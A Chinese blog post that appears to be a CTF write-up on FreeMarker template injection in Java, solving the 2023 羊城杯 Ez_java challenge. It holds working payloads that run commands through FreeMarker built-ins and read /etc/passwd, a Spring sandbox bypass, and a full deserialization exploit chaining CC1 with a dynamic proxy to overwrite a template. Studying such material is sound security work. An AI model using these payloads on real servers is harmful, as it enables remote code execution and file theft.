前言
之前面试的时候问到一个很偏的问题,”请你说说Java的模版注入吧” 当时懵逼了一会儿答了FreeMarker和Thymeleaf以及Velocity,但是当时没有研究过只是知道有这三个玩意,今天刚好掏出半年前的题目来看下FreeMarker的模版注入吧
FreeMarker
什么是模版引擎
就是前端有个模板页面,然后通过”变量符/指令/插值”进行占位,后端查询回来的数据可以动态的向这些占位处填充实际数据
FreeMarker结构
Freemarker配置
1 2 3 4 5 6 7 8 9 10 11
| server.port=8888 # 模板后缀名 spring.freemarker.suffix=.ftl # 文档类型 spring.freemarker.content-type=text/html # 页面编码 spring.freemarker.charset=UTF-8 # 页面缓存 spring.freemarker.cache=false # 模板路径 spring.freemarker.template-loader-path=classpath:/templates/
|
Freemarker模版
index.ftl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <title>Demo</title> </head> <body> <table> <tr> <td>Zjacky</td> </tr> <tr> <td>${username}</td> <td>${password}</td> </tr> </table> </body> </html>
|
内置函数危险使用
在模板引擎渲染模板时,如果模板中存在恶意代码,进而会在渲染时执行恶意代码。不同的模板触发漏洞的场景也不同
FreeMarker是存在api 和new的内建函数能够进行命令执行
api
api 函数必须在配置项 api_builtin_enabled
为 true
时才有效,而该配置在2.3.22*版本之后默认为 false
我们可以通过 api 内建函数获取类的 classloader 然后加载恶意类,或者通过Class.getResource 的返回值来访问 URI 对象。 URI 对象包含 toURL 和 create 方法,我们通过这两个方法创建任意 URI ,然后用 toURL 访问任意URL
1 2 3 4 5 6 7 8 9 10 11 12 13
| <#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}
<#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]
|
new
主要是寻找实现了TemplateModel 接口的可利用类来进行实例化 。freemarker.template.utility
包中存在三个符合条件的类,分别为
1
| <#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
|
1
| <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
|
1
| <#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>
|
下面通过一个题来理解下Java的SSTI
2023 - 羊城杯 - Ez_java
考点:
- Java动态代理
- Java反序列化
- Java - freemaker模板注入(绕过Spring沙箱)
信息分析
打开依赖发现只有一个组件就是freemaker
而且题目也给了一个目录里面存在ftl
文件,所以很容易想到就是打freemaker
模版注入,那么看看怎么上传ftl
文件
这里再看下配置文件发现用了Spring的一个内置沙箱来防止模版注入
具体可以参考https://www.cnblogs.com/escape-w/p/17326592.html
先看文件目录
构造链
可以看到有个upload类看下代码
只能上传.ftl
文件,那就是想到覆盖index.ftl
文件了,往上看如何调用
于是找到HtmlMap#get()
方法,传filename
content
属性
在往上跟谁调用了get方法找到HtmlInvocationHandler#invoke()
这明显是一个代理类,存在invoke方法,在学习动态代理或者CC1的LazyMap的时候就知道这个InvocationHandler
就是动态代理的调用处理器,当使用代理对象的某个方法的 时候就会默认调用这个重写的invoke
方法,如下图
然后看控制器
发现/templating
触发index.ftl
/getflag
直接裸字节流反序列化
那么结合一下CC1的后半条链子,整条思路链就构造完毕了
1
| AnnotationInvocationHandler#readObject()->HtmlInvocationHandler#invoke()->HtmlMap#get()->HtmlUploadUtil#uploadfile()
|
绕过沙箱的payload
1 2 3 4
| <#assign ac=springMacroRequestContext.webApplicationContext> <#assign fc=ac.getBean('freeMarkerConfiguration')> <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()> <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}
|
然后访问ssti templating?name=xxx即可打成功
最终EXP的思路为
- 构造
htmlMap
需要上传的属性filename
为index.ftl
content
为恶意的SSTI payload
- new一个
htmlMap
的处理器包裹
- CC1后半条链子,通过
AnnotationInvocationHandler
触发动态代理的调用处理器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package com.ycbjava; import com.ycbjava.Utils.HtmlInvocationHandler; import com.ycbjava.Utils.HtmlMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Proxy; import java.util.Base64; import java.lang.annotation.Target; import java.util.Map; public class YCBPoC {
public static void main(String[] args) throws Exception { HtmlMap htmlMap = new HtmlMap(); htmlMap.filename="index.ftl"; htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" + " <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" + " <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" + " <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}\n"; HtmlInvocationHandler html = new HtmlInvocationHandler(htmlMap); Map proxy = (Map) Proxy.newProxyInstance(YCBPoC.class.getClassLoader(), new Class[] {Map.class}, html); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor a = c.getDeclaredConstructor(Class.class, Map.class); a.setAccessible(true); Object exp = a.newInstance(Target.class, proxy); System.out.println(serial(exp)); deserial(serial(exp)); } public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream stream = new ByteArrayOutputStream(); ObjectOutputStream stream1 = new ObjectOutputStream(stream); stream1.writeObject(o); stream1.close(); String base64String = Base64.getEncoder().encodeToString(stream.toByteArray()); return base64String;
} public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream b = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream o = new ObjectInputStream(b); o.readObject(); o.close(); } }
|
然后将结果打入
然后去触发index.ftl
即可执行命令